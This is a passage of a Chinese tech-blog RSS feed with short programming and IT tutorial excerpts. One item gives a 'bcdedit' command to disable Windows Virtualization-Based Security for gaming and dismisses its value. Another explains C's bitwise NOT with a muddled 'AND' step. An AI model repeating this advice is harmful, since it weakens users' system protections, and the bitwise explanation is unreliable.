Machine，SVM）分类器进行目标类别的分类。在训练阶段，SVM使用正负样本对模型进行训练，学习区分目标和非目标的能力。&#xA;非极大值抑制：由于选择性搜索算法可能会生成重叠的候选区域，为了消除冗余的检测结果，R-CNN使用非极大值抑制（Non-Maximum Suppression，NMS）来筛选最终的检测边界框。NMS通过比较检测框之间的重叠程度和得分，并保留最具有代表性的框。&#xA;边框位置修正 Boundingbox Regression&#xA;2.2.1 候选区域生成-----选择性搜索（Selective Search)算法: 选择性搜索（Selective Search）是一种用于生成候选区域的图像分割算法，常用于目标检测任务中。它通过分割和合并策略生成多个大小、形状和纹理不同的候选区域，以涵盖可能包含目标对象的各种可能性。</description>
    </item>
    <item>
      <title>c语言中的-100和~100</title>
      <link>https://bchobby.github.io/posts/c7957f0d2e362a973aba56d12e02ced7/</link>
      <pubDate>Sun, 22 Oct 2023 21:33:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7957f0d2e362a973aba56d12e02ced7/</guid>
      <description>首先是一个程序：&#xA;int num1=100,num2=-num1; printf(&#34;%d,%d,%d&#34;,num1,num2,~num1); return 0; 运行结果： 100,-100,-101 num2还是很好理解的这里主要了解一下 ~num1&#xA;首先100的二进制是：0110 0100然后与1111 1111相与得到1001 1011 （正确数值的补码）&#xA;然后1001 1010(正确数值的反码)最后是1110 0101（二进制原码）最后变成十进制是：-101</description>
    </item>
    <item>
      <title>WSL下gcc for arm交叉编译链的系统配置</title>
      <link>https://bchobby.github.io/posts/1ee8a9451b0f77f9bdc9e69fa21c653f/</link>
      <pubDate>Sun, 22 Oct 2023 21:08:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ee8a9451b0f77f9bdc9e69fa21c653f/</guid>
      <description>以下交叉编译工具名称和就都是举例 1. 永久生效 如需永久修改，请修改用户配置文件。&#xA;注意：如果不会使用vim命令，可以使用图形化的编辑工具，执行：&#xA;gedit ~/.bashrc vim ~/.bashrc 在行尾添加或修改，加上下面几行(第3行第4行为一行命令)：&#xA;export ARCH=arm export CROSS_COMPILE=arm-buildroot-linux-gnueabihf- export PATH=$PATH:/home/book/100ask_imx6ull-sdk/ToolChain/arm-buildroot-linux-gnueabihf_sdk-buildroot/bin 设置完毕后，要执行 source ~/.bashrc 命令使其生效，这条命令是加载这些设置的环境变量。 设置完毕后，要执行 source ~/.bashrc 命令使其生效，这条命令是加载这些设置的环境变量。&#xA;source ~/.bashrc 使用这条指令查询，如果版本等信息打印出来则表示配置成功&#xA;arm-buildroot-linux-gnueabihf-gcc -v 2. 临时生效 也可以手工执行“export”命令设置环境变量，该设置只对当前终端有效(另开一个终端需要再次设置)。&#xA;执行以下3个命令，第3个命令很长，需要包含第四行全部复制：&#xA;export ARCH=arm export CROSS_COMPILE=arm-buildroot-linux-gnueabihf- export PATH=$PATH:/home/book/100ask_imx6ull-sdk/ToolChain/arm-buildroot-linux-gnueabihf_sdk-buildroot/bin 3. 手动指定 先设置PATH环境变量，然后在make编译时指定ARCH架构 CROSS_COMPILE交叉编译工具链(执行make命令时指定的参数，只对当前命令有效；下次执行make时仍需要再次指定那些参数)&#xA;export PATH=$PATH:/home/book/100ask_imx6ull-sdk/ToolChain/arm-buildroot-linux-gnueabihf_sdk-buildroot/bin make ARCH=arm CROSS_COMPILE=arm-buildroot-linux-gnueabihf- export PATH=$PATH:/home/book/100ask_imx6ull-sdk/ToolChain/gcc-linaro-6.2.1-2016.11-x86_64_arm-linux-gnueabihf/bin make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- 参考链接&#xA;【精选】配置交叉编译工具链和环境变量_交叉编译环境变量如何设置_宁静致远2021的博客-CSDN博客&#xA;WSL下安装gcc for arm交叉编译链_wsl 安装gcc-arm-none-eabi-CSDN博客</description>
    </item>
    <item>
      <title>【论文阅读】（2019）Enhanced Pseudo-polynomial Formulations for Bin Packing and Cutting Stock Problems</title>
      <link>https://bchobby.github.io/posts/ca2b66619e7ba323bba256d686e9e46f/</link>
      <pubDate>Sun, 22 Oct 2023 20:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca2b66619e7ba323bba256d686e9e46f/</guid>
      <description>文章目录 一、摘要二、介绍三、BPP和CSP的著名MILP公式3.1 问题描述和符号3.2 基于方案（Pattern）的公式3.3 伪多项式公式 四、模型之间的关系五、Reflect，一种改进的 Arc-Flow 公式5.1 Adapting Reflect 以解决大尺寸实例 : Reflect+5.1.1 列生成5.1.2 节点去激活和对偶切割5.1.3 弧失活 六、可变大小的BPP七、带有项目碎片的BPP八、计算结果8.1 关于BPP和CSP的结果8.2 VSBPP的结果8.3 BPPIF的结果 九、结论和未来研究 论文来源：（2019）Enhanced Pseudo-polynomial Formulations for Bin Packing and Cutting Stock Problems&#xA;作者：Maxence Delorme 等人&#xA;一、摘要 我们研究经典装箱和下料问题的伪多项式公式。我们首先从文献中提出了主要的基于模式和伪多项式公式之间的优势和等价关系的概述。然后我们引入reflect，这是一个新的公式，它只使用一半的bin容量来建模一个实例，并且比经典模型需要更少的约束和变量。当面元容量过高时，我们提出了利用列生成和对偶信息来补偿反射弱点的上限和下限技术。我们还提出了解决两个有趣的问题变体的技术的非平凡的修改，即可变大小的装箱问题和带有物品碎片的装箱问题。在基准实例上的大量计算测试表明，我们的算法在所有问题上都达到了最先进的结果，改进了以前的算法，并找到了几个新的经证明的最优解。 二、介绍 在本文中，我们继续伪多项式模型的研究，提出了理论和计算的兴趣结果。我们首先关注存在于众所周知的基于模式和伪多项式公式之间的关系，第一次提供了它们之间等价和支配的完整图像。然后，我们提出了一个新的有效的公式，称为反射，它只需要一半的bin容量来建模一个CSP实例。&#xA;与所有伪多项式公式一样，reflect在解决容量非常大的实例时也有困难。因此，我们用几种技术对其进行了改进，从而产生了一种叫做reflect+的算法，它具有出色的计算性能。具体而言，我们提供了以下贡献。&#xA;我们证明了CSP的一次切割和弧流公式是等价的(即，它们具有相同的连续松弛值)。我们扩展了以前的结果，并提供了一个存在于主要的基于模式和伪多项式MILP公式之间的优势和等价关系的清晰图像，这些公式已被提出用于BPP和CSP。我们介绍了我们的新公式，反映，并表明，它改善了经典弧流需要明显更少的约束和变量。我们开发了基于反射与列生成、双重切割和启发式的结合使用的改进技术。我们表明，我们的启发式算法比传统的方法更快和更有效的解决方案的集合覆盖模型与限制集合的列。我们通过设计公式和算法来解决两个重要的BPP变量，即可变大小的BPP和带有项目碎片的BPP，从而扩展了reflect和reflect+。我们进行了大量的计算测试，并表明我们的算法达到了最先进的结果，改进了文献中以前的算法，为BPP和CSP找到了几个新的最优解，并最优地解决了可变大小的BPP和带有项目碎片的BPP的所有尝试实例。 三、BPP和CSP的著名MILP公式 在本节中，我们正式描述了BPP和CSP，给出了必要的符号，并介绍了文献中为其解决方案开发的主要公式。&#xA;3.1 问题描述和符号 在BPP中，给定一组n个项目，每个项目的权重为 w j ( j = 1 , . . . , n ) w_j (j = 1,...,n) wj​(j=1,...,n) 以及容量为 c c c 的无限个相同箱子。目标是将所有物品装入最少数量的箱柜中，使得任何箱柜中物品重量的总和不超过容量。&#xA;为了更好地适应包装或切割的概念，在下文中，当提到 w j w_j wj​时，我们交替使用重量和宽度这两个术语。</description>
    </item>
    <item>
      <title>在Word中，图片显示不全</title>
      <link>https://bchobby.github.io/posts/cb30093440a3c29eb9340d0770b0890c/</link>
      <pubDate>Sun, 22 Oct 2023 20:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb30093440a3c29eb9340d0770b0890c/</guid>
      <description>在今天交作业的时候，发现了一个非常SB的事情，把图片复制过去显示不完全：&#xA;使用文心一言查看搜索了一下，发现可能是以下几种原因：&#xA;图片所在行的行高设置不正确。可以重新设置行高，具体步骤包括打开图片显示不完全的word文档，选中图片，然后点击“段落”右下方的拓展小箭头，调出“段落对话框”，可以看到图片的行距太小，需要调大行距数值。图片格式设置不正确。在某些情况下，部分图片格式可能无法正确显示，因此建议使用常见且广泛支持的图片格式，比如JPEG或PNG。这样可以减少兼容性问题，从而避免图片显示不全的情况发生。“段落行距设置了固定值”。把行距设置为单倍行距即可解决问题。图片大小与文档布局不匹配。如果图片的尺寸过大，而文档的布局无法容纳整个图片，就会出现显示不全的情况。此时可以考虑调整图片的大小，使其适应文档的布局。 我排除了以下，初步确定为段落设置了固定值：&#xA;将固定值改为单倍行距，问题解决：&#xA;仅供参考。。。</description>
    </item>
    <item>
      <title>syn锁深入了解</title>
      <link>https://bchobby.github.io/posts/da923d2aa1f04b4c9e9b4ff7eb25aaf9/</link>
      <pubDate>Sun, 22 Oct 2023 17:53:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da923d2aa1f04b4c9e9b4ff7eb25aaf9/</guid>
      <description>目录&#xA;前言：&#xA;一：syn主要实现方式和基本原理：&#xA;1.1实现原理&#xA;1.2syn特征：&#xA;二. synchronized底层存储&#xA;2.1 对象结构&#xA;2.2 对象头的组成&#xA;2.2.2 class pointer&#xA;2.3 Monitor监视器锁&#xA;2.3.1 monitor介绍&#xA;2.3.2 Java对象Object的Monitor机制&#xA;前言： 上次多线程锁使用写到了syn和lock的基本使用；&#xA;以及一篇线程的代码测试：线程池、可重入锁、读写锁、信号量、循环栅栏，编码测试&#xA;本次，再多了解一些syn锁，（源码分析，还没看完，下次补充）&#xA;syn锁：就是解决某个代码想要达到同步的效果，某一个线程在执行和过程中，不希望这个代码收到别的线程的影响；&#xA;例如：一个公共类，负责生成整体的流水号，简单理解就是，要保证多线程情况下，生成的流水号不要有重复的，当然实现方式有很多，这里就不多写了，本文主要在学习一些syn锁&#xA;syn锁特点&#xA;独占锁&#xA;可重入锁&#xA;非公平锁&#xA;syn1.6之前是重量级锁，之后进行优化，多线程情况下锁升级：无锁、偏向锁、轻量级锁、重量级锁，锁粗化、锁消除等手段，这也算是后来同步的map实现锁方式，更改为syn+CAS实现的一部分原因；&#xA;锁升级和参考实现参考 syn和lock的基本使用；&#xA;一：syn主要实现方式和基本原理： 1.1实现原理 1.修饰代码块&#xA;使用字节码指令，进行获取monitor和释放&#xA;通过使用monitorenter和monitorexit指令实现的，当线程执行monitorenter的时候就会尝试获取monitor的所有权，如果当前对象的monitor的进入计数器为0，就可以获取到这个对象锁，如果当前对象已经拥有了这个monitor的持有全，那么就可以重入这个monitor，重入的时候计数器也会加一。如果其他线程已经拥有了monitor的持有权，那么他就会阻塞，直到正在执行的线程执行完毕，即monitorexit指令执行，释放掉对象锁，并且把计数器设置为0&#xA;2.修饰方法&#xA;借助方法头中是否有同步标识，没有的话，进行获取monitor和释放&#xA;通过指令monitorenter和monitorexit来完成，而是通过ACC_SYNCHRONIZED标识符，放在常量池中。当方法调用的时候会检查方法的ACC_SYNCHRONIZED标识符是否已经被设置了，如果被设置了，执行的线程会先获取monitor，获取成功了才能执行方法体，方法执行完毕之后再释放monitor。在方法执行期间，任何其他线程都无法再获得同这个monitor对象。 其实和代码块本质上么有区别，只是方法同步是一种隐性的方式实现的，无需字节码来完成。&#xA;代码块是隐式的使用monitor,方法是显示的使用字节码指令指令进行操作monitoe,&#xA;关于ACC_SYNCHRONIZED 、monitorenter、monitorexit指令，可以看下面的反编译代码&#xA;参看网上截图 public class SynchronizedTest { public void get(){ synchronized (this){ // 这个是同步代码块 System.out.println(&#34;你好呀&#34;); } } public synchronized void f(){ //这个是同步方法 System.out.println(&#34;Hello world&#34;); } public static void main(String[] args) { } } 可以通过javap -verbose SynchronizedTest 对代码进行反编译，如下：</description>
    </item>
    <item>
      <title>windows11系统VBS安全功能关闭方法</title>
      <link>https://bchobby.github.io/posts/1d120e79e35068bdfcd12a06c77c1bfe/</link>
      <pubDate>Sun, 22 Oct 2023 13:53:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d120e79e35068bdfcd12a06c77c1bfe/</guid>
      <description>对于Windows系统上的VBS安全功能，不知道大家以前是否有所了解。VBS中文意思是基于虚拟化的安全，全称Virtualization-Based Security。它构建于Hyper-V之上，使用软硬件虚拟化来增强系统安全性。&#xA;简单来说，就是开启后，主机会运行在虚拟机上，相当于多了一层屏障。如此一来，黑客仅通过远程攻击将很难窃取主机数据，更加安全。但是这样做，计算机性能势必会出现损失，导致游戏、跑分性能下降。&#xA;根据UL benchmarks公司报告，开启VBS后，其降幅最多可达30%。也有人实测，RTX 4090显卡关闭VBS后，某游戏帧率竟然提升了37.7%。因此，关于Windows到底要不要关VBS，网上争论一直没停过。&#xA;(系统信息)&#xA;其实，这是需要分情况来看的，对于普通用户来说，VBS确实没啥用。因为它并不能防住，自己下载到病毒和流氓软件，该出问题还是出问题。黑客也没理由专门来攻击你，一堆学习资料的电脑，有啥好看的。&#xA;但如果你是保密级别非常高的单位电脑，有商业价值，那最好不要关。考虑部分小伙伴会有些强迫症，不想让这种几乎用不到的安全，影响性能。所以这次下载集分享下win10和win11系统，关闭VBS方法。&#xA;具体步骤如下 1、打开开始菜单，在搜索框搜索“系统信息”，点击进入系统信息窗口。&#xA;2、找到“基于虚拟化的安全性”这一项，如果显示正在运行，说明VBS已开启。&#xA;(关闭VBS)&#xA;3、右键开始菜单，选择“终端管理员”，复制输入以下命令，按回车。&#xA;bcdedit /set hypervisorlaunchtype off&#xA;4、重启电脑后，再次进入“系统信息”窗口，你会发现，VBS已经顺利关闭。&#xA;本文来源于：关闭Win10和Win11系统VBS功能，可大幅提升游戏帧率-下载集 (xzji.com)https://www.xzji.com/news/12486.html</description>
    </item>
    <item>
      <title>加快make编译速度的另一种方法</title>
      <link>https://bchobby.github.io/posts/d359ffa839f678a6b963579c83718329/</link>
      <pubDate>Sun, 22 Oct 2023 11:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d359ffa839f678a6b963579c83718329/</guid>
      <description>开始之前，先供上大佬的加快编译速度的方法：&#xA;转载&#xA;上述方法中，个人感觉，普通人能用的，估计就加上-j参数了。&#xA;不过在我的项目中，我发现了另一种大佬没有提的方法，那就是在makefile中，为每个c文件指定好INCLUDE_PATH变量，然后在编译每个c文件时，只让make去该文件的INCLUDE_PATH中取找头文件，经过实际测试，使用这种方法编译，可以将编译时间从30分钟下降到8分钟，效果杠杆的。&#xA;我的项目是一个汽车域控制器的项目，大约有400多个c文件需要编译。在优化makefile之前，指定头文件查找路径的方式就是使用一个INCLUDE_PATH变量，将所有头文件的路径全部添加到这个变量中，然后make在编译每一个c文件时，都会在这个庞大的路径集合中取找当前c文件中包含的每个头文件，变量INCLUDE_PATH中的路径大约有上百个，一个c文件中包含的头文件，少则几个，多则几十个，这样找头文件找起来自然是很费时间的。&#xA;想到这一点后，我们对makefile进行了优化，事先生成每个c文件包含的头文件的的路径，这个路径是gcc生成的，是绝对最简化的，没有任何多余的路径。然后在编译每个c文件时，将对应的头文件路径文件包含进来，只让make在这些几个路径中找头文件。&#xA;后续有时间补充一个示例makefile，来作为示例。</description>
    </item>
    <item>
      <title>CANOE CAPL编程采坑记录---capl中的函数中的变量，默认是静态局部变量</title>
      <link>https://bchobby.github.io/posts/ea069604f2564b01e57ed97c7e0e67b0/</link>
      <pubDate>Sun, 22 Oct 2023 10:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea069604f2564b01e57ed97c7e0e67b0/</guid>
      <description>在一个capl文件中，我需要写一个checksum校验的函数，用来在发送报文时给最后一个字节checksum字段赋值，函数大体如下：&#xA;byte Send_CheckSum(word msgId, byte data[], byte len) //data为数组，len为数组长度 { byte i, crc = 0; crc += msgId &amp;amp; 0xff; crc += (msgId &amp;gt;&amp;gt; 8) &amp;amp; 0xff; for(i=0; i&amp;lt;len; i++) { crc += data[i]; } crc = ~crc; return crc; } 代码看起来没啥问题，但是实际发送报文的checksum总是错误的。而且我发现有两个奇怪的现象，一是只有第一帧报文的checksum是对的，后面的全是错误的；二是，就算报文前面的数据没变化，checksum也在变，哈哈哈。&#xA;最终我仔细翻看了介绍capl的博客后，才发现里面有介绍，capl中函数内部定义的变量默认是静态的，会保留上一次的值，如果不想用这个特性，必须要显式地初始化，例如在上述代码的第四行加上crc=0;</description>
    </item>
    <item>
      <title>Edge浏览器打开控制台后程序总是提示已在调试程序中暂停</title>
      <link>https://bchobby.github.io/posts/82f3a91d8889de3c33db40e17d0d7a88/</link>
      <pubDate>Sat, 21 Oct 2023 22:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82f3a91d8889de3c33db40e17d0d7a88/</guid>
      <description>文章目录 概要如何解决 概要 当我们需要在网页中下载一些内容时，进入edge 开发者模式，此时会在上方提示“已在调试程序中暂停”，导致我们无法在原网页中进行操作。&#xA;如何解决 这其实是检测debug功能中断点被触发，只要关掉就好了，在元素-网络-源代码标签中选择源代码，&#xA;下方有个停用断点，只要将其点成激活状态就好：</description>
    </item>
    <item>
      <title>Vue基础与常用指令，Element基础</title>
      <link>https://bchobby.github.io/posts/2e022f4b1683798d75bcd10515296c5f/</link>
      <pubDate>Sat, 21 Oct 2023 21:30:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e022f4b1683798d75bcd10515296c5f/</guid>
      <description>1.vue快速入门 vue概述&#xA;Vue是一套构建用户界面的渐进式前端框架&#xA;只关注视图层，并且非常容易学习，还可以很方便的与其它库或已有项目整合&#xA;通过尽可能简单的API来实现响应数据的绑定和组合的视图组件&#xA;特点&#xA;易用：在有HTMLCSSJavaScript的基础上，快速上手。&#xA;灵活：简单小巧的核心，渐进式技术栈，足以应付任何规模的应用。&#xA;性能：20kbmin+gzip运行大小、超快虚拟DOM、最省心的优化&#xA;快速入门&#xA;1.下载和引入vue.js文件&#xA;2.编写入门程序&#xA;视图：负责页面渲染，主要由HTML+CSS构成&#xA;脚本：负责业务数据模型（Model）以及数据的处理逻辑&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;快速入门&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 视图 --&amp;gt; &amp;lt;div id=&#34;div&#34;&amp;gt; {{msg}} &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script src=&#34;vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; //脚本 new Vue({ el:&#34;#div&#34;, data:{ msg:&#34;Hello Vue&#34; } }); &amp;lt;/script&amp;gt; &amp;lt;/html&amp;gt; Vue 核心对象：每一个 Vue 程序都是从一个 Vue 核心对象开始的&#xA;let vm = new Vue({ 选项列表; }); 选项列表&#xA;el选项：用于接收获取到页面中的元素。(根据常用选择器获取)&#xA;data选项：用于保存当前Vue对象中的数据。在视图中声明的变量需要在此处赋值&#xA;methods选项：用于定义方法。方法可以直接通过对象名调用，this代表当前Vue对象 数据绑定&#xA;在视图部分获取脚本部分的数据。</description>
    </item>
    <item>
      <title>AJAX与JSON</title>
      <link>https://bchobby.github.io/posts/80498ca3d7c0a7cf1997e68db538f88c/</link>
      <pubDate>Sat, 21 Oct 2023 21:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80498ca3d7c0a7cf1997e68db538f88c/</guid>
      <description>1.AJAX 1.AJAX概述 AJAX(Asynchronous JavaScript And XML)：异步的 JavaScript 和 XML&#xA;本身不是一种新技术，而是多个技术综合。用于快速创建动态网页的技术&#xA;一般的网页如果需要更新内容，必需重新加载个页面。&#xA;而 Ajax通过浏览器与服务器进行少量数据交换，就可以使网页实现异步更新。也就是在不重新加载整个页 面的情况下，对网页的部分内容进行局部更新。&#xA;同步：服务器端在处理过程中，无法进行其他操作。&#xA;异步：服务器端在处理过程中，可以进行其他操作&#xA;总结：异步的处理网络请求的工具，可以实现局部刷新&#xA;2.原生JS实现AJAX 与详解 package Servlet; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet(&#34;/userServlet&#34;) public class UserServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //设置请求和响应的乱码 req.setCharacterEncoding(&#34;UTF-8&#34;); resp.setContentType(&#34;text/html;charset=UTF-8&#34;); //1.获取请求参数 String username = req.getParameter(&#34;username&#34;); //模拟服务器处理请求需要5秒钟 /*try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); }*/ //2.</description>
    </item>
    <item>
      <title>Android 特权应用 privapp-permissions 权限解读</title>
      <link>https://bchobby.github.io/posts/16b4aa6ea33872bea0e545b8a574cf24/</link>
      <pubDate>Sat, 21 Oct 2023 17:32:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16b4aa6ea33872bea0e545b8a574cf24/</guid>
      <description>特权应用 官网说明&#xA;特权应用是位于系统映像某个分区上 priv-app 目录下的应用，如 system/priv-app/ 。&#xA;特权应用&#xA;相比安装在 system/app/ 目录的应用，具有更高的权限。基本都是系统预装，不可卸载。可以不是系统签名。 源码预制 源码下预制到 priv 分区，根据编译规则配置即可。&#xA;Android.mk 配置 LOCAL_PRIVILEGED_MODULE := true ，如&#xA;LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := LuoDemo LOCAL_MULTILIB := 32 LOCAL_MODULE_CLASS := APPS LOCAL_MODULE_SUFFIX := $(COMMON_ANDROID_PACKAGE_SUFFIX) LOCAL_CERTIFICATE := platform LOCAL_PRIVILEGED_MODULE := true LOCAL_SRC_FILES := $(LOCAL_MODULE)$(COMMON_ANDROID_PACKAGE_SUFFIX) include $(BUILD_PREBUILT) include $(call all-makefiles-under,$(LOCAL_PATH)) Android.bp 配置 privileged: true&#xA;android_app { name: &#34;LuoDemo&#34;, srcs: [&#34;src/**/*.java&#34;], certificate: &#34;platform&#34;, privileged: true, platform_apis: true, static_libs: [ &#34;</description>
    </item>
    <item>
      <title>sklearn-6算法链与管道</title>
      <link>https://bchobby.github.io/posts/4121deba3e3f44218416b8fad93d3614/</link>
      <pubDate>Sat, 21 Oct 2023 17:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4121deba3e3f44218416b8fad93d3614/</guid>
      <description>思想类似于pipeline，将多个处理步骤连接起来。&#xA;看个例子，如果用MinMaxScaler和训练模型，需要反复执行fit和tranform方法，很繁琐，然后还要网格搜索，交叉验证&#xA;1 预处理进行参数选择 对于放缩的数据，一定要最先开始放缩，否则会导致数据放缩不一致，比如SVM+网格交叉，网格需要放缩数据，数据放缩需要带上测试集，否则性能下降，准确率打折扣&#xA;2 构造管道 注意 管道每次会调用scaler的fit方法，注意，可以对同一个scaler调多次fit，但不可以用两个或多个scaler单独放缩数据！！！&#xA;只需要几行代码，很简便&#xA;def test_chain_basic(self): xtr, xte, ytr, yte = train_test_split(self.cancer.data, self.cancer.target, random_state=0) pipe = Pipeline([(&#39;scaler&#39;, MinMaxScaler()), (&#39;svm&#39;, SVC())]).fit(xtr, ytr) print(f&#39;predict score: {pipe.score(xte, yte)}&#39;) 注意，给pipeline传参是个列表，列表项是长度为2的元组，元组第一个是字串，自定义，类似于一个名字，元组第二个参数是模型对象&#xA;3 网格搜索中使用管道 用法&#xA;1类似于上一节的scaler+监督模型的用法&#xA;2有个注意点是网格搜索需要给训练的模型传参，需要改下给grid对象传参字典的键名&#xA;3注意网格搜索是pipe作为参数传给GridSearchCV，二补数把pipe作为参数传给pipe&#xA;例子&#xA;def test_chain_scale_train_grid(self): xtr, xte, ytr, yte = train_test_split(self.cancer.data, self.cancer.target, random_state=0) pipe = Pipeline([(&#39;scaler&#39;, MinMaxScaler()), (&#39;svm&#39;, SVC())]).fit(xtr, ytr) print(f&#39;predict score: {pipe.score(xte, yte)}&#39;) params_grid = {&#39;svm__C&#39;: [0.001, 0.01, 0.1, 1, 10, 100], &#39;svm__gamma&#39;: [0.</description>
    </item>
    <item>
      <title>es : java 查询</title>
      <link>https://bchobby.github.io/posts/0411e2c6a22ecb9c9dcf4a4b522c5879/</link>
      <pubDate>Sat, 21 Oct 2023 17:04:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0411e2c6a22ecb9c9dcf4a4b522c5879/</guid>
      <description>1. POM 配置 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.elasticsearch.client&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;elasticsearch-rest-high-level-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;7.6.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2. 建立ES集群连接 RestHighLevelClient client = new RestHighLevelClient( RestClient.builder( new HttpHost(IP, PORT, &#34;http&#34;))); 同样，如果我们要连接集群中多个ES节点时，只需要在RestClient 的 builder 方法中多添加几个HttpPost对象即可 String ipPort = &#34;10.xx:9200,10.xx:9200,10.xx:9200&#34;; String[] ipPortArry = ipPort.split(&#34;,&#34;); List&amp;lt;HttpHost&amp;gt; httpHostsList = new ArrayList(); for(String ips : ipPortArry){ String[] ipArray = ips.split(&#34;:&#34;); httpHostsList.add(new HttpHost(ipArray[0], Integer.parseInt(ipArray[1]), &#34;http&#34;)); } RestHighLevelClient client = new RestHighLevelClient( RestClient.builder(httpHostsList.toArray(new HttpHost[httpHostsList.size()]))); 补充： Java配置多个ES节点时，请求的时候会随机选一个节点作为协调节点负责分发请求和处理结果，所以Java链接ES节点数量的多少，不会影响到Java请求ES查询结果的速度，只是其中某个节点宕机时，其他节点可以保证正常的查询和操作。 ES 端口9200与9300的区别： 9200作为Http协议，主要用于外部通讯 9300作为Tcp协议，jar之间就是通过tcp协议通讯 ES集群之间是通过9300进行通讯 3. 简单的查询并获取查询结果 RestHighLevelClient client = new RestHighLevelClient( RestClient.</description>
    </item>
    <item>
      <title>Jmeter —— 常用的几种断言方法（基本用法）</title>
      <link>https://bchobby.github.io/posts/995d58481f0b8991f97d7ad002dffded/</link>
      <pubDate>Fri, 20 Oct 2023 20:07:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/995d58481f0b8991f97d7ad002dffded/</guid>
      <description>在使用JMeter进行性能测试或者接口自动化测试工作中，经常会用到的一个功能，就是断言，断言相当于检查点，它是用来判断系统返回的响应结果是否正确，以此帮我们判断测试是否通过，本文 主要介绍几种常用的断言：响应断言、JSON断言、BeanShell 断言 一、响应断言 1. 响应断言是最常用的一种断言方法，它可以对各种返回类型的结果进行断言，比如Test、html、application/json等&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》响应断言&#xA;3. Apply to选项默认即可，Main sample only(仅作用于父节点取样器)&#xA;4. 测试字段常用的有响应文本（对响应结果进行断言）、响应头（对响应头文件进行断言）&#xA;5. 模式匹配规则常用有包括（响应结果包括断言的内容），相等（响应结果和断言结果相同）&#xA;6. 测试模式可以添加你需要断言的部分，如果是包括，就可以添加多个&#xA;7. 执行测试，断言通过则显示绿色&#xA;8. 把断言改成响应结果不存在的字段，执行结果，显示红色，断言结果显示系统响应结果不包含“测试断言”字段&#xA;现在我也找了很多测试的朋友，做了一个分享技术的交流群，共享了很多我们收集的技术文档和视频教程。 如果你不想再体验自学时找不到资源，没人解答问题，坚持几天便放弃的感受 可以加入我们一起交流。而且还有很多在自动化，性能，安全，测试开发等等方面有一定建树的技术大牛 分享他们的经验，还会分享很多直播讲座和技术沙龙 可以免费学习！划重点！开源的！！！ qq群号：110685036 二、JSON断言 1. JSON断言也是测试工作中经常用到的一种断言方法，它只能针对响应结果是applicaton/json格式的请求进行断言&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》JSON断言&#xA;3. 我们使用json断言，一般是断言某个字段值是否返回的是我们需要的，所以需要写JSON PATH（不会写的看本人另外一篇文章有介绍如何写），下图使用正则模式匹配返回的结果包含40就认为响应结果满足要求，断言配置和响应结果如下所示：&#xA;4. 下面展示断言结果为常量时，如何进行断言设置，如下图所示&#xA;三、BeanShell断言 1. BeanShell断言支持各种开发语言，本文介绍使用java编写断言，使用BeanShell断言的好处是可以自由发挥，比如当断言失败，提示预期结果、实际结果，或者失败时把结果输出到日志&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》BeanShell断言&#xA;3. 如果使用包含匹配，只需要修改预期结果即可，预期结果需要写在双引号之间，中间的双引号需要添加\转义，如下：&#xA;String response = &#34;&#34;; String Str = &#34;{\&#34;errNo\&#34;:\&#34;403\&#34;&#34;; //预期结果，需要校验的字段 response = prev.getResponseDataAsString(); //获取当前请求响应结果 if(response == &#34;&#34;){ Failure = true; FailureMessage = &#34;系统无响应，获取不到响应数据！&#34;; //对比数据库内容和响应内容，私用euqals方法判断是否一致 } else if(response.</description>
    </item>
    <item>
      <title>【Matlab】二维绘图函数汇总</title>
      <link>https://bchobby.github.io/posts/e019d4dd7a5b53e790406731feb621aa/</link>
      <pubDate>Fri, 20 Oct 2023 19:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e019d4dd7a5b53e790406731feb621aa/</guid>
